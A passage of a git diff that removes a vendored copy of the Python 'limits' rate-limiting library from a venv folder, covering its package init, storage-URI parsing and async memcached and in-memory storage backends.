copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. - diff --git a/venv/Lib/site-packages/limits/__init__.py b/venv/Lib/site-packages/limits/__init__.py deleted file mode 100644 index 10cca823416be487ba3a99de66683d11944a7825..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/limits/__init__.py +++ /dev/null @@ -1,35 +0,0 @@ -""" -Rate limiting with commonly used storage backends -""" - -from __future__ import annotations - -from . import _version, aio, storage, strategies -from .limits import ( - RateLimitItem, - RateLimitItemPerDay, - RateLimitItemPerHour, - RateLimitItemPerMinute, - RateLimitItemPerMonth, - RateLimitItemPerSecond, - RateLimitItemPerYear, -) -from .util import WindowStats, parse, parse_many - -__all__ = [ - "RateLimitItem", - "RateLimitItemPerDay", - "RateLimitItemPerHour", - "RateLimitItemPerMinute", - "RateLimitItemPerMonth", - "RateLimitItemPerSecond", - "RateLimitItemPerYear", - "WindowStats", - "aio", - "parse", - "parse_many", - "storage", - "strategies", -] - -__version__ = _version.__version__ diff --git a/venv/Lib/site-packages/limits/_storage_scheme.py b/venv/Lib/site-packages/limits/_storage_scheme.py deleted file mode 100644 index f21872ff8ce5dd533404c897a8dba209fcfc4c8c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/limits/_storage_scheme.py +++ /dev/null @@ -1,75 +0,0 @@ -from __future__ import annotations - -import dataclasses -import urllib.parse -from abc import ABCMeta - -from limits.errors import ConfigurationError - -SCHEMES: dict[str, StorageRegistry] = {} - - -class StorageRegistry(ABCMeta): - def __new__( - mcs, name: str, bases: tuple[type, ...], dct: dict[str, str | list[str]] - ) -> StorageRegistry: - storage_scheme = dct.get("STORAGE_SCHEME", None) - cls = super().__new__(mcs, name, bases, dct) - - if storage_scheme: - if isinstance(storage_scheme, str): # noqa - schemes = [storage_scheme] - else: - schemes = storage_scheme - - for scheme in schemes: - SCHEMES[scheme] = cls - - return cls - - -@dataclasses.dataclass -class StorageURIOptions: - scheme: str - username: str | None - password: str | None - locations: list[tuple[str, int]] - path: str | None - query: dict[str, list[str]] - - @property - def empty(self) -> bool: - """ - whether this is just a scheme:// uri without any information - that might be useful when constructing the actual storage - instance - """ - return bool( - self.username is None - and self.password is None - and not (self.locations or self.path or self.query) - ) - - -def parse_storage_uri(uri: str) -> StorageURIOptions: - parsed = urllib.parse.urlparse(uri) - sep = parsed.netloc.find("@") + 1 - locations = [] - try: - if parsed.netloc[sep:]: - for loc in parsed.netloc[sep:].split(","): - sub = urllib.parse.urlparse(f"fake://{loc.strip()}") - hostname, port = sub.hostname, sub.port - if hostname is None or port is None: - raise ConfigurationError(f"Missing host or port in location {loc}") - locations.append((hostname, port)) - except ValueError as err: - raise ConfigurationError(f"Unable to parse storage uri {uri}") from err - return StorageURIOptions( - parsed.scheme, - parsed.username, - parsed.password, - locations, - parsed.path, - urllib.parse.parse_qs(parsed.query), - ) diff --git a/venv/Lib/site-packages/limits/_version.py b/venv/Lib/site-packages/limits/_version.py deleted file mode 100644 index 78aeb7eefd641b04313b92dec9bd881ae22be2b0..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/limits/_version.py +++ /dev/null @@ -1,34 +0,0 @@ -# file generated by setuptools-scm -# don't change, don't track in version control - -__all__ = [ - "__version__", - "__version_tuple__", - "version", - "version_tuple", - "__commit_id__", - "commit_id", -] - -TYPE_CHECKING = False -if TYPE_CHECKING: - from typing import Tuple - from typing import Union - - VERSION_TUPLE = Tuple[Union[int, str], ...] - COMMIT_ID = Union[str, None] -else: - VERSION_TUPLE = object - COMMIT_ID = object - -version: str -__version__: str -__version_tuple__: VERSION_TUPLE -version_tuple: VERSION_TUPLE -commit_id: COMMIT_ID -__commit_id__: COMMIT_ID - -__version__ = version = '5.8.0' -__version_tuple__ = version_tuple = (5, 8, 0) - -__commit_id__ = commit_id = None diff --git a/venv/Lib/site-packages/limits/_version.pyi b/venv/Lib/site-packages/limits/_version.pyi deleted file mode 100644 index bda5b5a7f4cc3cdc8ef37ca67f3a0d26c3c0aad7..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/limits/_version.pyi +++ /dev/null @@ -1 +0,0 @@ -__version__: str diff --git a/venv/Lib/site-packages/limits/aio/__init__.py b/venv/Lib/site-packages/limits/aio/__init__.py deleted file mode 100644 index 5e17a1c43031afce5242528df69fdb90319e4ac1..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/limits/aio/__init__.py +++ /dev/null @@ -1,8 +0,0 @@ -from __future__ import annotations - -from . import storage, strategies - -__all__ = [ - "storage", - "strategies", -] diff --git a/venv/Lib/site-packages/limits/aio/storage/__init__.py b/venv/Lib/site-packages/limits/aio/storage/__init__.py deleted file mode 100644 index 004fb9fb05de1423a93ee1ff16f39839c89b32a9..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/limits/aio/storage/__init__.py +++ /dev/null @@ -1,24 +0,0 @@ -""" -Implementations of storage backends to be used with -:class:`limits.aio.strategies.RateLimiter` strategies -""" - -from __future__ import annotations - -from .base import MovingWindowSupport, SlidingWindowCounterSupport, Storage -from .memcached import MemcachedStorage -from .memory import MemoryStorage -from .mongodb import MongoDBStorage -from .redis import RedisClusterStorage, RedisSentinelStorage, RedisStorage - -__all__ = [ - "MemcachedStorage", - "MemoryStorage", - "MongoDBStorage", - "MovingWindowSupport", - "RedisClusterStorage", - "RedisSentinelStorage", - "RedisStorage", - "SlidingWindowCounterSupport", - "Storage", -] diff --git a/venv/Lib/site-packages/limits/aio/storage/base.py b/venv/Lib/site-packages/limits/aio/storage/base.py deleted file mode 100644 index 387b5aaefaee769b200fef9f5ed04a4a60d14566..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/limits/aio/storage/base.py +++ /dev/null @@ -1,234 +0,0 @@ -from __future__ import annotations - -import functools -from abc import ABC, abstractmethod - -from deprecated.sphinx import versionadded - -from limits import errors -from limits._storage_scheme import StorageRegistry -from limits.typing import ( - Any, - Awaitable, - Callable, - P, - R, - cast, -) -from limits.util import LazyDependency - - -def _wrap_errors( - fn: Callable[P, Awaitable[R]], -) -> Callable[P, Awaitable[R]]: - @functools.wraps(fn) - async def inner(*args: P.args, **kwargs: P.kwargs) -> R: # type: ignore[misc] - instance = cast(Storage, args[0]) - try: - return await fn(*args, **kwargs) - except instance.base_exceptions as exc: - if instance.wrap_exceptions: - raise errors.StorageError(exc) from exc - raise - - return inner - - -@versionadded(version="2.1") -class Storage(LazyDependency, metaclass=StorageRegistry): - """ - Base class to extend when implementing an async storage backend. - """ - - STORAGE_SCHEME: list[str] | None - """The storage schemes to register against this implementation""" - - def __init_subclass__(cls, **kwargs: Any) -> None: # type:ignore[explicit-any] - super().__init_subclass__(**kwargs) - for method in { - "incr", - "get", - "get_expiry", - "check", - "reset", - "clear", - }: - setattr(cls, method, _wrap_errors(getattr(cls, method))) - super().__init_subclass__(**kwargs) - - def __init__( - self, - uri: str | None = None, - wrap_exceptions: bool = False, - **options: float | str | bool, - ) -> None: - """ - :param wrap_exceptions: Whether to wrap storage exceptions in - :exc:`limits.errors.StorageError` before raising it. - """ - super().__init__() - self.wrap_exceptions = wrap_exceptions - - @property - @abstractmethod - def base_exceptions(self) -> type[Exception] | tuple[type[Exception], ...]: - raise NotImplementedError - - @abstractmethod - async def incr(self, key: str, expiry: int, amount: int = 1) -> int: - """ - increments the counter for a given rate limit key - - :param key: the key to increment - :param expiry: amount in seconds for the key to expire in - :param amount: the number to increment by - """ - raise NotImplementedError - - @abstractmethod - async def get(self, key: str) -> int: - """ - :param key: the key to get the counter value for - """ - raise NotImplementedError - - @abstractmethod - async def get_expiry(self, key: str) -> float: - """ - :param key: the key to get the expiry for - """ - raise NotImplementedError - - @abstractmethod - async def check(self) -> bool: - """ - check if storage is healthy - """ - raise NotImplementedError - - @abstractmethod - async def reset(self) -> int | None: - """ - reset storage to clear limits - """ - raise NotImplementedError - - @abstractmethod - async def clear(self, key: str) -> None: - """ - resets the rate limit key - - :param key: the key to clear rate limits for - """ - raise NotImplementedError - - -class MovingWindowSupport(ABC): - """ - Abstract base class for async storages that support - the :ref:`strategies:moving window` strategy - """ - - def __init_subclass__(cls, **kwargs: Any) -> None: # type: ignore[explicit-any] - for method in { - "acquire_entry", - "get_moving_window", - }: - setattr( - cls, - method, - _wrap_errors(getattr(cls, method)), - ) - super().__init_subclass__(**kwargs) - - @abstractmethod - async def acquire_entry( - self, key: str, limit: int, expiry: int, amount: int = 1 - ) -> bool: - """ - :param key: rate limit key to acquire an entry in - :param limit: amount of entries allowed - :param expiry: expiry of the entry - :param amount: the number of entries to acquire - """ - raise NotImplementedError - - @abstractmethod - async def get_moving_window( - self, key: str, limit: int, expiry: int - ) -> tuple[float, int]: - """ - returns the starting point and the number of entries in the moving - window - - :param key: rate limit key - :param expiry: expiry of entry - :return: (start of window, number of acquired entries) - """ - raise NotImplementedError - - -class SlidingWindowCounterSupport(ABC): - """ - Abstract base class for async storages that support - the :ref:`strategies:sliding window counter` strategy - """ - - def __init_subclass__(cls, **kwargs: Any) -> None: # type: ignore[explicit-any] - for method in { - "acquire_sliding_window_entry", - "get_sliding_window", - "clear_sliding_window", - }: - setattr( - cls, - method, - _wrap_errors(getattr(cls, method)), - ) - super().__init_subclass__(**kwargs) - - @abstractmethod - async def acquire_sliding_window_entry( - self, - key: str, - limit: int, - expiry: int, - amount: int = 1, - ) -> bool: - """ - Acquire an entry if the weighted count of the current and previous - windows is less than or equal to the limit - - :param key: rate limit key to acquire an entry in - :param limit: amount of entries allowed - :param expiry: expiry of the entry - :param amount: the number of entries to acquire - """ - raise NotImplementedError - - @abstractmethod - async def get_sliding_window( - self, key: str, expiry: int - ) -> tuple[int, float, int, float]: - """ - Return the previous and current window information. - - :param key: the rate limit key - :param expiry: the rate limit expiry, needed to compute the key in some implementations - :return: a tuple of (int, float, int, float) with the following information: - - previous window counter - - previous window TTL - - current window counter - - current window TTL - """ - raise NotImplementedError - - @abstractmethod - async def clear_sliding_window(self, key: str, expiry: int) -> None: - """ - Resets the rate limit key(s) for the sliding window - - :param key: the key to clear rate limits for - :param expiry: the rate limit expiry, needed to compute the key in some implemenations - """ - ... diff --git a/venv/Lib/site-packages/limits/aio/storage/memcached/__init__.py b/venv/Lib/site-packages/limits/aio/storage/memcached/__init__.py deleted file mode 100644 index 0d9d899004e939375f0865ccc9cecde9b402050c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/limits/aio/storage/memcached/__init__.py +++ /dev/null @@ -1,190 +0,0 @@ -from __future__ import annotations - -import asyncio -import time -from math import floor - -from deprecated.sphinx import versionadded, versionchanged -from packaging.version import Version - -from limits.aio.storage import SlidingWindowCounterSupport, Storage -from limits.aio.storage.memcached.bridge import MemcachedBridge -from limits.aio.storage.memcached.emcache import EmcacheBridge -from limits.aio.storage.memcached.memcachio import MemcachioBridge -from limits.storage.base import TimestampedSlidingWindow -from limits.typing import Literal - - -@versionadded(version="2.1") -@versionchanged( - version="5.0", - reason="Switched default implementation to :pypi:`memcachio`", -) -class MemcachedStorage(Storage, SlidingWindowCounterSupport, TimestampedSlidingWindow): - """ - Rate limit storage with memcached as backend. - - Depends on :pypi:`memcachio` - """ - - STORAGE_SCHEME = ["async+memcached"] - """The storage scheme for memcached to be used in an async context""" - - DEPENDENCIES = { - "memcachio": Version("0.3"), - "emcache": Version("0.0"), - } - - bridge: MemcachedBridge - storage_exceptions: tuple[Exception, ...] - - def __init__( - self, - uri: str, - wrap_exceptions: bool = False, - implementation: Literal["memcachio", "emcache"] = "memcachio", - **options: float | str | bool, - ) -> None: - """ - :param uri: memcached location of the form - ``async+memcached://host:port,host:port`` - :param wrap_exceptions: Whether to wrap storage exceptions in - :exc:`limits.errors.StorageError` before raising it. - :param implementation: Whether to use the client implementation from - - - ``memcachio``: :class:`memcachio.Client` - - ``emcache``: :class:`emcache.Client` - :param options: all remaining keyword arguments are passed - directly to the constructor of :class:`memcachio.Client` - :raise ConfigurationError: when :pypi:`memcachio` is not available - """ - if implementation == "emcache": - self.bridge = EmcacheBridge( - uri, self.dependencies["emcache"].module, **options - ) - else: - self.bridge = MemcachioBridge( - uri, self.dependencies["memcachio"].module, **options - ) - super().__init__(uri, wrap_exceptions=wrap_exceptions, **options) - - @property - def base_exceptions( - self, - ) -> type[Exception] | tuple[type[Exception], ...]: # pragma: no cover - return self.bridge.base_exceptions - - async def get(self, key: str) -> int: - """ - :param key: the key to get the counter value for - """ - return await self.bridge.get(key) - - async def clear(self, key: str) -> None: - """ - :param key: the key to clear rate limits for - """ - await self.bridge.clear(key) - - async def incr( - self, - key: str, - expiry: float, - amount: int = 1, - set_expiration_key: bool = True, - ) -> int: - """ - increments the counter for a given rate limit key - - :param key: the key to increment - :param expiry: amount in seconds for the key to expire in - window every hit. - :param amount: the number to increment by - :param set_expiration_key: if set to False, the expiration time won't be stored but the key will still expire - """ - return await self.bridge.incr( - key, expiry, amount, set_expiration_key=set_expiration_key - ) - - async def get_expiry(self, key: str) -> float: - """ - :param key: the key to get the expiry for - """ - return await self.bridge.get_expiry(key) - - async def reset(self) -> int | None: - raise NotImplementedError - - async def check(self) -> bool: - return await self.bridge.check() - - async def acquire_sliding_window_entry( - self, - key: str, - limit: int, - expiry: int, - amount: int = 1, - ) -> bool: - if amount > limit: - return False - now = time.time() - previous_key, current_key = self.sliding_window_keys(key, expiry, now) - ( - previous_count, - previous_ttl, - current_count, - _, - ) = await self._get_sliding_window_info(previous_key, current_key, expiry, now) - t0 = time.time() - weighted_count = previous_count * previous_ttl / expiry + current_count - if floor(weighted_count) + amount > limit: - return False - else: - # Hit, increase the current counter. - # If the counter doesn't exist yet, set twice the theorical expiry. - # We don't need the expiration key as it is estimated with the timestamps directly. - current_count = await self.incr( - current_key, 2 * expiry, amount=amount, set_expiration_key=False - ) - t1 = time.time() - actualised_previous_ttl = max(0, previous_ttl - (t1 - t0)) - weighted_count = ( - previous_count * actualised_previous_ttl / expiry + current_count - ) - if floor(weighted_count) > limit: - # Another hit won the race condition: revert the increment and refuse this hit - # Limitation: during high concurrency at the end of the window, - # the counter is shifted and cannot be decremented, so less requests than expected are allowed. - await self.bridge.decr(current_key, amount, noreply=True) - return False - return True - - async def get_sliding_window( - self, key: str, expiry: int - ) -> tuple[int, float, int, float]: - now = time.time() - previous_key, current_key = self.sliding_window_keys(key, expiry, now) - return await self._get_sliding_window_info( - previous_key, current_key, expiry, now - ) - - async def clear_sliding_window(self, key: str, expiry: int) -> None: - now = time.time() - previous_key, current_key = self.sliding_window_keys(key, expiry, now) - await asyncio.gather(self.clear(previous_key), self.clear(current_key)) - - async def _get_sliding_window_info( - self, previous_key: str, current_key: str, expiry: int, now: float - ) -> tuple[int, float, int, float]: - result = await self.bridge.get_many([previous_key, current_key]) - - previous_count = result.get(previous_key.encode("utf-8"), 0) - current_count = result.get(current_key.encode("utf-8"), 0) - - if previous_count == 0: - previous_ttl = float(0) - else: - previous_ttl = (1 - (((now - expiry) / expiry) % 1)) * expiry - current_ttl = (1 - ((now / expiry) % 1)) * expiry + expiry - - return previous_count, previous_ttl, current_count, current_ttl diff --git a/venv/Lib/site-packages/limits/aio/storage/memcached/bridge.py b/venv/Lib/site-packages/limits/aio/storage/memcached/bridge.py deleted file mode 100644 index 44be8ffa4064c27feb952530e2bb3cf5dbcd6bff..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/limits/aio/storage/memcached/bridge.py +++ /dev/null @@ -1,68 +0,0 @@ -from __future__ import annotations - -from abc import ABC, abstractmethod -from types import ModuleType - -from limits._storage_scheme import parse_storage_uri -from limits.typing import Iterable - - -class MemcachedBridge(ABC): - def __init__( - self, - uri: str, - dependency: ModuleType, - **options: float | str | bool, - ) -> None: - self.uri = uri - self.parsed_uri = parse_storage_uri(uri) - self.dependency = dependency - self.hosts = self.parsed_uri.locations - self.options = options - - if self.parsed_uri.username: - self.options["username"] = self.parsed_uri.username - if self.parsed_uri.password: - self.options["password"] = self.parsed_uri.password - - def _expiration_key(self, key: str) -> str: - """ - Return the expiration key for the given counter key. - - Memcached doesn't natively return the expiration time or TTL for a given key, - so we implement the expiration time on a separate key. - """ - return key + "/expires" - - @property - @abstractmethod - def base_exceptions( - self, - ) -> type[Exception] | tuple[type[Exception], ...]: ... - - @abstractmethod - async def get(self, key: str) -> int: ... - - @abstractmethod - async def get_many(self, keys: Iterable[str]) -> dict[bytes, int]: ... - - @abstractmethod - async def clear(self, key: str) -> None: ... - - @abstractmethod - async def decr(self, key: str, amount: int = 1, noreply: bool = False) -> int: ... - - @abstractmethod - async def incr( - self, - key: str, - expiry: float, - amount: int = 1, - set_expiration_key: bool = True, - ) -> int: ... - - @abstractmethod - async def get_expiry(self, key: str) -> float: ... - - @abstractmethod - async def check(self) -> bool: ... diff --git a/venv/Lib/site-packages/limits/aio/storage/memcached/emcache.py b/venv/Lib/site-packages/limits/aio/storage/memcached/emcache.py deleted file mode 100644 index f1feb9ede94e3061c15af0b8e0b10c092fb3cdce..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/limits/aio/storage/memcached/emcache.py +++ /dev/null @@ -1,112 +0,0 @@ -from __future__ import annotations - -import time -from math import ceil -from types import ModuleType - -from limits.typing import TYPE_CHECKING, Iterable - -from .bridge import MemcachedBridge - -if TYPE_CHECKING: - import emcache - - -class EmcacheBridge(MemcachedBridge): - def __init__( - self, - uri: str, - dependency: ModuleType, - **options: float | str | bool, - ) -> None: - super().__init__(uri, dependency, **options) - self._storage = None - - async def get_storage(self) -> emcache.Client: - if not self._storage: - self._storage = await self.dependency.create_client( - [self.dependency.MemcachedHostAddress(h, p) for h, p in self.hosts], - **self.options, - ) - assert self._storage - return self._storage - - async def get(self, key: str) -> int: - item = await (await self.get_storage()).get(key.encode("utf-8")) - return item and int(item.value) or 0 - - async def get_many(self, keys: Iterable[str]) -> dict[bytes, int]: - results = await (await self.get_storage()).get_many( - [k.encode("utf-8") for k in keys] - ) - return {k: int(item.value) if item else 0 for k, item in results.items()} - - async def clear(self, key: str) -> None: - try: - await (await self.get_storage()).delete(key.encode("utf-8")) - except self.dependency.NotFoundCommandError: - pass - - async def decr(self, key: str, amount: int = 1, noreply: bool = False) -> int: - storage = await self.get_storage() - limit_key = key.encode("utf-8") - try: - value = await storage.decrement(limit_key, amount, noreply=noreply) or 0 - except self.dependency.NotFoundCommandError: - value = 0 - return value - - async def incr( - self, key: str, expiry: float, amount: int = 1, set_expiration_key: bool = True - ) -> int: - storage = await self.get_storage() - limit_key = key.encode("utf-8") - expire_key = self._expiration_key(key).encode() - try: - return await storage.increment(limit_key, amount) or amount - except self.dependency.NotFoundCommandError: - storage = await self.get_storage() - try: - await storage.add(limit_key, f"{amount}".encode(), exptime=ceil(expiry)) - if set_expiration_key: - await storage.set( - expire_key, - str(expiry + time.time()).encode("utf-8"), - exptime=ceil(expiry), - noreply=False, - ) - value = amount - except self.dependency.NotStoredStorageCommandError: - # Coult not add the key, probably because a concurrent call has added it - storage = await self.get_storage() - value = await storage.increment(limit_key, amount) or amount - return value - - async def get_expiry(self, key: str) -> float: - storage = await self.get_storage() - item = await storage.get(self._expiration_key(key).encode("utf-8")) - - return item and float(item.value) or time.time() - pass - - @property - def base_exceptions( - self, - ) -> type[Exception] | tuple[type[Exception], ...]: # pragma: no cover - return ( - self.dependency.ClusterNoAvailableNodes, - self.dependency.CommandError, - ) - - async def check(self) -> bool: - """ - Check if storage is healthy by calling the ``get`` command - on the key ``limiter-check`` - """ - try: - storage = await self.get_storage() - await storage.get(b"limiter-check") - - return True - except: # noqa - return False diff --git a/venv/Lib/site-packages/limits/aio/storage/memcached/memcachio.py b/venv/Lib/site-packages/limits/aio/storage/memcached/memcachio.py deleted file mode 100644 index d1654c3fd50b1acf8a1cb3495e055e4e7979f2fe..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/limits/aio/storage/memcached/memcachio.py +++ /dev/null @@ -1,104 +0,0 @@ -from __future__ import annotations - -import time -from math import ceil -from types import ModuleType -from typing import TYPE_CHECKING, Iterable - -from .bridge import MemcachedBridge - -if TYPE_CHECKING: - import memcachio - - -class MemcachioBridge(MemcachedBridge): - def __init__( - self, - uri: str, - dependency: ModuleType, - **options: float | str | bool, - ) -> None: - super().__init__(uri, dependency, **options) - self._storage: memcachio.Client[bytes] | None = None - - @property - def base_exceptions( - self, - ) -> type[Exception] | tuple[type[Exception], ...]: - return ( - self.dependency.errors.NoAvailableNodes, - self.dependency.errors.MemcachioConnectionError, - ) - - async def get_storage(self) -> memcachio.Client[bytes]: - if not self._storage: - self._storage = self.dependency.Client( - [(h, p) for h, p in self.hosts], - **self.options, - ) - assert self._storage - return self._storage - - async def get(self, key: str) -> int: - return (await self.get_many([key])).get(key.encode("utf-8"), 0) - - async def get_many(self, keys: Iterable[str]) -> dict[bytes, int]: - """ - Return multiple counters at once - - :param keys: the keys to get the counter values for - """ - results = await (await self.get_storage()).get( - *[k.encode("utf-8") for k in keys] - ) - return {k: int(v.value) for k, v in results.items()} - - async def clear(self, key: str) -> None: - await (await self.get_storage()).delete(key.encode("utf-8")) - - async def decr(self, key: str, amount: int = 1, noreply: bool = False) -> int: - storage = await self.get_storage() - limit_key = key.encode("utf-8") - return await storage.decr(limit_key, amount, noreply=noreply) or 0 - - async def incr( - self, key: str, expiry: float, amount: int = 1, set_expiration_key: bool = True - ) -> int: - storage = await self.get_storage() - limit_key = key.encode("utf-8") - expire_key = self._expiration_key(key).encode() - if (value := (await storage.incr(limit_key, amount))) is None: - storage = await self.get_storage() - if await storage.add(limit_key, f"{amount}".encode(), expiry=ceil(expiry)): - if set_expiration_key: - await storage.set( - expire_key, - str(expiry + time.time()).encode("utf-8"), - expiry=ceil(expiry), - noreply=False, - ) - return amount - else: - storage = await self.get_storage() - return await storage.incr(limit_key, amount) or amount - return value - - async def get_expiry(self, key: str) -> float: - storage = await self.get_storage() - expiration_key = self._expiration_key(key).encode("utf-8") - item = (await storage.get(expiration_key)).get(expiration_key, None) - - return item and float(item.value) or time.time() - - async def check(self) -> bool: - """ - Check if storage is healthy by calling the ``get`` command - on the key ``limiter-check`` - """ - try: - storage = await self.get_storage() - await storage.get(b"limiter-check") - - return True - except: # noqa - return False diff --git a/venv/Lib/site-packages/limits/aio/storage/memory.py b/venv/Lib/site-packages/limits/aio/storage/memory.py deleted file mode 100644 index c80f89f9e609c8d4604fbc6aea1283b797badbe1..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/limits/aio/storage/memory.py +++ /dev/null @@ -1,287 +0,0 @@ -from __future__ import annotations - -import asyncio -import bisect -import time -from collections import Counter, defaultdict -from math import floor - -from deprecated.sphinx import versionadded - -import limits.typing -from limits.aio.storage.base import ( - MovingWindowSupport, - SlidingWindowCounterSupport, - Storage, -) -from limits.storage.base import TimestampedSlidingWindow - - -class Entry: - def __init__(self, expiry: int) -> None: - self.atime = time.time() - self.expiry = self.atime + expiry - - -@versionadded(version="2.1") -class MemoryStorage( - Storage, MovingWindowSupport, SlidingWindowCounterSupport, TimestampedSlidingWindow -): - """ - rate limit storage using :class:`collections.Counter` - as an in memory storage for fixed & sliding window strategies, - and a simple list to implement moving window strategy. - """ - - STORAGE_SCHEME = ["async+memory"] - """ - The storage scheme for in process memory storage for use in an - async context - """ - - def __init__( - self, uri: str | None = None, wrap_exceptions: bool = False, **_: str - ) -> None: - self.storage: limits.typing.Counter[str] = Counter() - self.locks: defaultdict[str, asyncio.Lock] = defaultdict(asyncio.Lock) - self.expirations: dict[str, float] = {} - self.events: dict[str, list[Entry]] = {} - self.timer: asyncio.Task[None] | None = None - super().__init__(uri, wrap_exceptions=wrap_exceptions, **_) - - def __getstate__(self) -> dict[str, limits.typing.Any]: # type: ignore[explicit-any] - state = self.__dict__.copy() - del state["timer"] - del state["locks"] - return state - - def __setstate__(self, state: dict[str, limits.typing.Any]) -> None: # type: ignore[explicit-any] - self.__dict__.update(state) - self.timer = None - self.locks = defaultdict(asyncio.Lock) - asyncio.ensure_future(self.__schedule_expiry()) - - async def __expire_events(self) -> None: - try: - now = time.time() - for key in list(self.events.keys()): - async with self.locks[key]: - cutoff = await asyncio.to_thread( - lambda evts: bisect.bisect_left( - evts, -now, key=lambda event: -event.expiry - ), - self.events[key], - ) - if self.events.get(key, []): - self.events[key] = self.events[key][:cutoff] - if not self.events.get(key, None): - self.events.pop(key, None) - self.locks.pop(key, None) - - for key in list(self.expirations.keys()): - if self.expirations[key] <= time.time(): - self.storage.pop(key, None) - self.expirations.pop(key, None) - self.locks.pop(key, None) - except asyncio.CancelledError: - return - - async def __schedule_expiry(self) -> None: - if not self.timer or self.timer.done(): - self.timer = asyncio.create_task(self.__expire_events()) - - @property - def base_exceptions( - self, - ) -> type[Exception] | tuple[type[Exception], ...]: # pragma: no cover - return ValueError - - async def incr(self, key: str, expiry: float, amount: int = 1) -> int: - """ - increments the counter for a given rate limit key - - :param key: the key to increment - :param expiry: amount in seconds for the key to expire in - :param amount: the number to increment by - """ - await self.get(key) - await self.__schedule_expiry() - async with self.locks[key]: - self.storage[key] += amount - if self.storage[key] == amount: - self.expirations[key] = time.time() + expiry - return self.storage.get(key, amount) - - async def decr(self, key: str, amount: int = 1) -> int: - """ - decrements the counter for a given rate limit key. 0 is the minimum allowed value. - - :param amount: the number to increment by - """ - await self.get(key) - await self.__schedule_expiry() - async with self.locks[key]: - self.storage[key] = max(self.storage[key] - amount, 0) - - return self.storage.get(key, amount) - - async def get(self, key: str) -> int: - """ - :param key: the key to get the counter value for - """ - if self.expirations.get(key, 0) <= time.time(): - self.storage.pop(key, None) - self.expirations.pop(key, None) - self.locks.pop(key, None) - - return self.storage.get(key, 0) - - async def clear(self, key: str) -> None: - """ - :param key: the key to clear rate limits for - """ - self.storage.pop(key, None) - self.expirations.pop(key, None) - self.events.pop(key, None) - self.locks.pop(key, None) - - async def acquire_entry( - self, key: str, limit: int, expiry: int, amount: int = 1 - ) -> bool: - """ - :param key: rate limit key to acquire an entry in - :param limit: amount of entries allowed - :param expiry: expiry of the entry - :param amount: the number of entries to acquire - """ - if amount > limit: - return False - - await self.__schedule_expiry() - async with self.locks[key]: - self.events.setdefault(key, []) - timestamp = time.time() - try: - entry: Entry | None = self.events[key][limit - amount] - except IndexError: - entry = None - - if entry and entry.atime >= timestamp - expiry: - return False - else: - self.events[key][:0] = [Entry(expiry)] * amount - return True - - async def get_expiry(self, key: str) -> float: - """ - :param key: the key to get the expiry for - """ - - return self.expirations.get(key, time.time()) - - async def get_moving_window( - self, key: str, limit: int, expiry: int - ) -> tuple[float, int]: - """ - returns the starting point and the number of entries in the moving - window - - :param key: rate limit key - :param expiry: expiry of entry - :return: (start of window, number of acquired entries) - """ - - timestamp = time.time() - if events := self.events.get(key, []): - oldest = bisect.bisect_left( - events, -(timestamp - expiry), key=lambda entry: -entry.atime - ) - return events[oldest - 1].atime, oldest - return timestamp, 0 - - async def acquire_sliding_window_entry( - self, - key: str, - limit: int, - expiry: int, - amount: int = 1, - ) -> bool: - if amount > limit: - return False - now = time.time() - previous_key, current_key = self.sliding_window_keys(key, expiry, now) - ( - previous_count, - previous_ttl, - current_count, - _, - ) = await self._get_sliding_window_info(previous_key, current_key, expiry, now) - weighted_count = previous_count * previous_ttl / expiry + current_count - if floor(weighted_count) + amount > limit: - return False - else: - # Hit, increase the current counter. - # If the counter doesn't exist yet, set twice the theorical expiry. - current_count = await self.incr(current_key, 2 * expiry, amount=amount) - weighted_count = previous_count * previous_ttl / expiry + current_count - if floor(weighted_count) > limit: - # Another hit won the race condition: revert the incrementation and refuse this hit - # Limitation: during high concurrency at the end of the window, - # the counter is shifted and cannot be decremented, so less requests than expected are allowed. - await self.decr(current_key, amount) - return False - return True - - async def get_sliding_window( - self, key: str, expiry: int - ) -> tuple[int, float, int, float]: - now = time.time() - previous_key, current_key = self.sliding_window_keys(key, expiry, now) - return await self._get_sliding_window_info( - previous_key, current_key, expiry, now - ) - - async def clear_sliding_window(self, key: str, expiry: int) -> None: - now = time.time() - previous_key, current_key = self.sliding_window_keys(key, expiry, now) - await self.clear(current_key) - await self.clear(previous_key) - - async def _get_sliding_window_info( - self, - previous_key: str, - current_key: str, - expiry: int, - now: float, - ) -> tuple[int, float, int, float]: - previous_count = await self.get(previous_key) - current_count = await self.get(current_key) - if previous_count == 0: - previous_ttl = float(0) - else: - previous_ttl = (1 - (((now - expiry) / expiry) % 1)) * expiry - current_ttl = (1 - ((now / expiry) % 1)) * expiry + expiry - return previous_count, previous_ttl, current_count, current_ttl - - async def check(self) -> bool: - """ - check if storage is healthy - """ - - return True - - async def reset(self) -> int | None: - num_items = max(len(self.storage), len(self.events)) - self.storage.clear() - self.expirations.clear() - self.events.clear() - self.locks.clear() - - return num_items - - def __del__(self) -> None: - try: - if self.timer and not self.timer.done(): - self.timer.cancel() - except RuntimeError: # noqa - pass diff --git a/venv/Lib/site-packages/limits/aio/storage/mongodb.py b/venv/Lib/site-packages/limits/aio/storage/mongodb.py deleted file mode 100644 index 24c066736e33e354f757d0963f22e6beee3e9e14..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/limits/aio/storage/mongodb.py 